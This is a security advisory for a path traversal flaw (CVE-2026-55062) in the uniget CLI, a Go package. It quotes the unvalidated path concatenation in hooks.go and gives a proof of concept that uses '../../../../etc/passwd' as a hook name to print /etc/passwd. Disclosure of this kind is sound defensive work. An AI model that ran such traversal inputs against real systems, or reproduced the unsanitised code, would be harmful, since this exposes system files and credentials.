GitHub Advisoryadvisory · Go

GHSA-m6jg-wr9m-cg2f uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability

MEDIUM Published 2026-08-17 Modified 2026-08-17 Official page ↗
Aliases
CVE-2026-55062
Ecosystem
Go
Packages
gitlab.com/uniget-org/cli
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-22, CWE-23, CWE-36, CWE-73
Reviewed
2026-08-17

Affected packages

• Go gitlab.com/uniget-org/cli: < 0.27.6 → fixed in 0.27.6

Description

Summary Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd. Details File: hooks.go `Lines 135-160` ``` hookFileName := args[0] // User input not validated hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation ``` Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal. PoC Step 1: Set cat as editor ``` export EDITOR="cat" ``` Step 2: Read /etc/passwd via path traversal ``` ./uniget hooks edit --type=pre-install "../../../../etc/passwd" ``` Step 3: Output shows file contents ``` root:x:0:0:root:/root:/bin/bash daemon:x:2:2:daemon:/sbin:/sbin/nologin [...] ```

Related

Alias · CVE (1)

  • CVE-2026-55062 uniget is a universal installer and updater for (container) tools. vulnerability

Weakness · CWE (4)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
  • CWE-23 Relative Path Traversal weakness
  • CWE-36 Absolute Path Traversal weakness
  • CWE-73 External Control of File Name or Path weakness

References